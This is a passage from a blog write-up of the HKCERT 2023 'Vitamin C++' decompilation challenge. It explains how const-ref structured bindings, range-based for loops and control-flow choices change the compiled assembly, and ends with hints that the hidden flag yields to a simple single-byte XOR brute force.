&lt;li&gt;&lt;code&gt;std::pair&lt;/code&gt; members (through pair):&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; pr &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; map&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// pr.first, pr.second&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;structured bindings (since C++17)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;N.B. With optimisations, these indicators would be less obvious. Thankfully the program &lt;em&gt;wasn&#39;t&lt;/em&gt; compiled with optimisations.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;on-const-ref&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-const-ref&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Const Ref&lt;/h3&gt;
&lt;p&gt;We&#39;re still short of our target though. Some diff lines stand out:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-asm&quot;&gt;&lt;span class=&quot;token unchanged language-asm&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;; Extra stack variables!&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;sub     rsp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc8&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;mov     &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rbp&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xc8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdi
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;sub     rsp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb8&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;mov     &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rbp&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xb8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdi
&lt;/span&gt;&lt;span class=&quot;token unchanged language-asm&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;; Calling the wrong overload!&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Extracted diff lines from compiler.py output. Red (-) indicates extra lines in our program. Green (+) indicates missing lines.&lt;/sup&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Looks like we declared 16-bytes of extra stack variables.
&lt;ul&gt;
&lt;li&gt;Local variables are stored on the stack, which allocates memory by a simple &lt;code&gt;sub&lt;/code&gt; instruction.&lt;/li&gt;
&lt;li&gt;Larger subtraction = more stack memory allocated.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;It also looks like we called the wrong overload. The mangled names — simplified for readability — translate to:&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-diff-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We can fix both these issues by qualifying our binding as &lt;code&gt;const&amp;amp;&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-cpp language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp language-cpp&quot;&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;With &lt;code&gt;auto&lt;/code&gt;, our binding was creating new &lt;code&gt;char&lt;/code&gt; and &lt;code&gt;TrieNode*&lt;/code&gt; copies. (Hence, the extra 16 bytes.) With &lt;code&gt;const auto&amp;amp;&lt;/code&gt;, we take a constant reference.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Constant: meaning we only &lt;em&gt;read&lt;/em&gt; the value. No modifications. This fixes the second issue.&lt;/li&gt;
&lt;li&gt;Reference: meaning we &lt;em&gt;refer&lt;/em&gt; (point) to the original objects instead of copying them. This fixes the first issue.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using const-refs is good practice for maintainability and performance (imagine copying a 64-byte struct each iteration 🤮).&lt;/p&gt;
&lt;h3 id=&quot;on-for-range-loops&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-for-range-loops&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On For-Range Loops&lt;/h3&gt;
&lt;p&gt;The astute may notice the above can be refactored slightly with the help of range-based &lt;code&gt;for&lt;/code&gt;-loops. These were introduced in C++11, and are like Python &lt;code&gt;for&lt;/code&gt;-&lt;code&gt;in&lt;/code&gt; loops, but less powerful.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Example&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-cpp language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp language-cpp&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;In fact, range-based &lt;code&gt;for&lt;/code&gt;-loops are syntactic sugar for the plain loops we all know and love.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;range_decl &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; range_expr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;translates to...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; __range &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; range_expr&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; __begin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; begin&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Usually std::begin(__range)&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; __end &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; end&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;// ...and std::end(__range).&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; __begin &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; __end&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;__begin&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		range_decl &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;__begin&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(See more: &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/range-for&quot;&gt;cppreference&lt;/a&gt;.)&lt;/p&gt;
&lt;h3 id=&quot;on-control-flow&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-control-flow&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Control Flow&lt;/h3&gt;
&lt;p&gt;Decompiler output may not accurately present the control flow of the original program. Changing:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the order of control flow, and&lt;/li&gt;
&lt;li&gt;which statement is used&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;may lead us closer to 100%.&lt;/p&gt;
&lt;p&gt;Would it make more sense to use a &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;switch&lt;/code&gt;&lt;/span&gt; instead of an &lt;code&gt;if&lt;/code&gt; in a certain place?&lt;/p&gt;
&lt;h3 id=&quot;other-useful-tips&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#other-useful-tips&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Other Useful Tips&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Use Godbolt’s &lt;strong&gt;Compiler Explorer&lt;/strong&gt; to play around with disassembly output. It helps with analysing small details such as variable declaration.
&lt;ul&gt;
&lt;li&gt;Remember to set x86-64 gcc 12.2 and &lt;code&gt;-std=c++17&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Two good sources for standard library documentation are &lt;a href=&quot;https://en.cppreference.com/w/&quot;&gt;&lt;em&gt;cppreference&lt;/em&gt;&lt;/a&gt; (high quality) and &lt;a href=&quot;https://cplusplus.com/reference/&quot;&gt;&lt;em&gt;cplusplus.com&lt;/em&gt;&lt;/a&gt; (beginner-friendly).&lt;/li&gt;
&lt;li&gt;Version control is incredibly useful for tracking incremental changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-infernal-flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#the-infernal-flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Infernal Flag&lt;/h2&gt;
&lt;p&gt;Once we recover enough source code, it&#39;s time to find the internal flag. This is probably the least interesting part (for me), so I&#39;ll keep it short.&lt;/p&gt;
&lt;p&gt;Notice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In &lt;code&gt;main&lt;/code&gt;, a bunch of garbage strings are inserted into the trie.&lt;/li&gt;
&lt;li&gt;Afterwards, mixing is turned on (&lt;code&gt;node-&amp;gt;should_mix = true&lt;/code&gt;), so that the next &lt;code&gt;node-&amp;gt;insert()&lt;/code&gt; will jumble the trie...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now it&#39;s time to take a really close look at &lt;code&gt;mix()&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;What&lt;/em&gt; is jumbled? All the strings.&lt;/li&gt;
&lt;li&gt;How? &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;All chars are xor&#39;ed with a char (the &lt;code&gt;wordhash&lt;/code&gt; of a string).&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;How many possible chars are there? &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;256&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Two words: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;brute force&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Maybe one of the strings just happens to be the internal flag xor&#39;ed. Who knows?&lt;/p&gt;
&lt;p&gt;After getting ≥ 97.5% similarity and finding the internal flag, submit both to the platform and profit!&lt;/p&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;I&#39;m sure the chal is called Vitamin C++ because it&#39;s designed to make us (mentally) stronger. Every time you trie harder, you lose a brain cell but strengthen a neuron. Indeed, we covered quite a lot of concepts today:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Language Features: &lt;code&gt;auto&lt;/code&gt;, structured bindings, for-range loops, const-ref.&lt;/li&gt;
&lt;li&gt;Library Features: iterators, unordered map.&lt;/li&gt;
&lt;li&gt;Unordered map is preferred for performance in lookup.&lt;/li&gt;
&lt;li&gt;Scoping (and lvalue-rvalueness) affects position of constructors/destructors. (Very good takeaway for C++ reversing.)&lt;/li&gt;
&lt;li&gt;Pay attention to groups of &lt;code&gt;sub&lt;/code&gt; and &lt;code&gt;mov&lt;/code&gt; instructions to check if we declared too little/many stack variables.&lt;/li&gt;
&lt;li&gt;Ghidra is pretty powerful.&lt;/li&gt;
&lt;li&gt;C++ is fun.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lots of tuning was involved; but the various tricks employed above netted us a first blood, so I can&#39;t complain. Despite a couple lines of janky const-uncorrect code, it was a nice challenge.&lt;/p&gt;
